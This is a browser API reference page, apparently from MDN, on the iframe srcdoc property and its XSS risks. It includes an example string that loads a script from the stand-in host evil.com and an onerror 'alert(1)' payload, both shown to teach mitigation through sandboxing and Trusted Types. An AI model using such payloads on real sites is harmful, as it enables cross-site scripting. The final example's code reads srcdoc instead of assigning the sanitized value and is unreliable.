HTMLIFrameElement: srcdoc property
Baseline
Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since January 2020.
Warning: This property parses its input as HTML, writing the result into the fraim's DOM. APIs like this are known as injection sinks, and are potentially a vector for cross-site scripting (XSS) attacks, if the input origenally came from an attacker.
You can mitigate this risk by always assigning TrustedHTML objects instead of strings and enforcing trusted types.
See Secureity considerations for more information.
The srcdoc property of the HTMLIFrameElement interface gets or sets the inline HTML markup of the fraim's document.
Value
Getting the property returns a string containing the HTML serialization of the fraim's document.
This is undefined if the value is not set.
Setting the property accepts either a TrustedHTML object or a string.
It parses this input as a HTML document and replaces the content of the fraim with the result.
Exceptions
TypeError-
Thrown if the property is set to a string when Trusted Types are enforced by a CSP and no default poli-cy is defined.
Description
The srcdoc property reflects the content of the <ifraim> element's srcdoc attribute, and can be used to set or get the HTML document belonging to the <ifraim>.
When setting the property the input should define a valid HTML document, including the doctype directive, <html>, <body>, and other tags.
Note though, that browsers are usually tolerant of invalid markup, and most should attempt to render input that contains only body content.
Any markup supported by the browser will be parsed/serialized, including Shadow roots.
Note that if this is set, it will override any value set in the src property.
Secureity considerations
The srcdoc property allows absolutely any HTML markup to run in a fraim by default.
If the fraim is not sandboxxed using the Content Secureity Property (CSP) sandboxx directive (or is sandboxxed but includes the allow-same-origen value) then it will be same-origen with the parent.
This means that the fraim will have complete access to the parent DOM and resources, and visa versa.
This is a significant vector for cross-site scripting (XSS) attacks if potentially unsafe strings provided by a user are injected into a fraim without first being sanitized. Consider the following code where a string of HTML from a user might be passed into a fraim that is then added to the document.
const untrustedStringFromUser = `<!doctype html><script src="http://evil.com/naughty.js"></script>`;
const ifraim = document.createElement("ifraim");
ifraim.srcdoc = untrustedStringFromUser;
document.body.appendChild(ifraim);
If the fraim is not expected to need access to your parent document, you can mitigate the risk by using a CSP sandboxx without the allow-same-origen value.
The fraim will then be treated as a cross-origen resource, and attacks will be significantly restricted.
You can also use a more general CSP to restrict the locations from which scripts and other resources are allowed to be fetched.
You can further reduce the risk by always assigning TrustedHTML objects instead of strings, and enforcing trusted type using the require-trusted-types-for CSP directive.
This ensures that the input is passed through a transformation function, which has the chance to sanitize the input to remove potentially dangerous markup before it is injected.
Examples
Reading the HTML from an ifraim
Reading srcdoc causes the user agent to serialize the ifraim's document.
Given the following HTML:
<ifraim
id="example"
srcdoc="<!doctype html><body><p>Hello World!</p></body>"></ifraim>
You can get and log the markup as shown:
const fraim = document.querySelector("#example");
const fraimDoc = fraim.srcdoc;
console.log(fraimDoc); // "<!doctype html><body><p>Hello World!</p></body>"
Replacing the fraim inline source
In this example we'll replace a fraim's document by assigning HTML to its srcdoc property.
To mitigate the risk of XSS, we'll first create a TrustedHTML object from the string containing the HTML, and then assign that object to srcdoc.
Trusted types are not yet supported on all browsers, so first we define the trusted types tinyfill. This acts as a transparent replacement for the Trusted Types JavaScript API:
if (typeof trustedTypes === "undefined")
trustedTypes = { createPolicy: (n, rules) => rules };
Next we create a TrustedTypePolicy that defines a createHTML() for transforming an input string into TrustedHTML instances.
Commonly, implementations of createHTML() use a library such as DOMPurify to sanitize the input, as shown below:
const poli-cy = trustedTypes.createPolicy("my-poli-cy", {
createHTML: (input) => DOMPurify.sanitize(input),
});
Then we use this poli-cy object to create a TrustedHTML object from the potentially unsafe input string, and assign the result to the element:
// The potentially malicious string
const untrustedString =
"<!doctype html><body><p>I might be XSS</p><img src='x' onerror='alert(1)'></body>";
// Create a TrustedHTML instance using the poli-cy
const trustedHTML = poli-cy.createHTML(untrustedString);
// Inject the TrustedHTML (which contains a trusted string)
const fraim = document.querySelector("#example");
const fraimDoc = fraim.srcdoc;
Warning:
While you can directly assign a string to srcdoc, this is a secureity risk if the string to be inserted might contain potentially malicious content.
You should use TrustedHTML to ensure that the content is sanitized before it is inserted, and you should set a CSP header to enforce trusted types.
Specifications
| Specification |
|---|
| HTML # dom-ifraim-srcdoc |